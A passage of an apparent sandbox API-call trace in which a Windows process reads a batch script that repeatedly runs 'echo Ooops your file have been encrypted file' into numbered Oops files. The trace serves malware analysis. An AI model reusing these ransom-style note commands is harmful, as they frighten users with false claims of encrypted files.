been encrypted file >Oops12.txt\r\n") returned 59 [0038.539] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0038.539] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.539] GetFileType (hFile=0x74) returned 0x1 [0038.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0038.539] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=7697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0038.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops13.txt\r\n") returned 59 [0038.539] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0038.539] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.539] GetFileType (hFile=0x74) returned 0x1 [0038.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0038.539] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=7756, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0038.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops14.txt\r\n") returned 59 [0038.540] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0038.540] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.540] GetFileType (hFile=0x74) returned 0x1 [0038.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0038.540] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=7815, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0038.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops15.txt\r\n") returned 59 [0038.544] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.544] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0038.546] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.546] GetFileType (hFile=0x74) returned 0x1 [0038.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0038.546] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=7874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0038.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops16.txt\r\n") returned 59 [0038.546] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0038.546] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.546] GetFileType (hFile=0x74) returned 0x1 [0038.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0038.546] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=7933, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0038.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops17.txt\r\n") returned 59 [0038.546] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0038.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.547] GetFileType (hFile=0x74) returned 0x1 [0038.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0038.547] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=7992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0038.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops18.txt\r\n") returned 59 [0038.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0038.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.547] GetFileType (hFile=0x74) returned 0x1 [0038.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0038.547] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=8051, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0038.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops19.txt\r\n") returned 59 [0038.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0038.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.547] GetFileType (hFile=0x74) returned 0x1 [0038.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0038.547] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=8110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0038.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops20.txt\r\n") returned 59 [0038.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0038.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.548] GetFileType (hFile=0x74) returned 0x1 [0038.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0038.548] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=8169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0038.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops21.txt\r\n") returned 59 [0038.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0038.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.548] GetFileType (hFile=0x74) returned 0x1 [0038.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0038.548] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=8228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0038.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops22.txt\r\n") returned 59 [0038.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0038.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.548] GetFileType (hFile=0x74) returned 0x1 [0038.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0038.548] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=8287, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0038.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops23.txt\r\n") returned 59 [0038.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0038.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.549] GetFileType (hFile=0x74) returned 0x1 [0038.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0038.549] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=8346, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0038.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops24.txt\r\n") returned 59 [0038.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0038.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.549] GetFileType (hFile=0x74) returned 0x1 [0038.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0038.549] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=8405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0038.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops25.txt\r\n") returned 59 [0038.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0038.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.549] GetFileType (hFile=0x74) returned 0x1 [0038.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0038.549] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=8464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0038.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops26.txt\r\n") returned 59 [0038.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0038.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.550] GetFileType (hFile=0x74) returned 0x1 [0038.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0038.550] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=8523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0038.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops27.txt\r\n") returned 59 [0038.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0038.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.550] GetFileType (hFile=0x74) returned 0x1 [0038.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0038.550] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=8582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0038.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops28.txt\r\n") returned 59 [0038.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0038.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.551] GetFileType (hFile=0x74) returned 0x1 [0038.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0038.551] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=8641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0038.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops29.txt\r\n") returned 59 [0038.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0038.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.551] GetFileType (hFile=0x74) returned 0x1 [0038.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0038.551] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=8700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0038.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops30.txt\r\n") returned 59 [0038.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0038.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.551] GetFileType (hFile=0x74) returned 0x1 [0038.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0038.552] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=8759, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0038.552] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops31.txt\r\n") returned 59 [0038.552] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0038.552] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.552] GetFileType (hFile=0x74) returned 0x1 [0038.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0038.552] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=8818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0038.552] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops32.txt\r\n") returned 59 [0038.552] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0038.552] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.552] GetFileType (hFile=0x74) returned 0x1 [0038.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0038.552] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.553] SetFilePointer (in: hFile=0x74, lDistanceToMove=8877, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0038.553] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops33.txt\r\n") returned 59 [0038.553] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.553] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0038.553] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.553] GetFileType (hFile=0x74) returned 0x1 [0038.553] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0038.553] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.553] SetFilePointer (in: hFile=0x74, lDistanceToMove=8936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0038.553] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops34.txt\r\n") returned 59 [0038.553] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.553] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0038.553] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.553] GetFileType (hFile=0x74) returned 0x1 [0038.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0038.554] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=8995, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 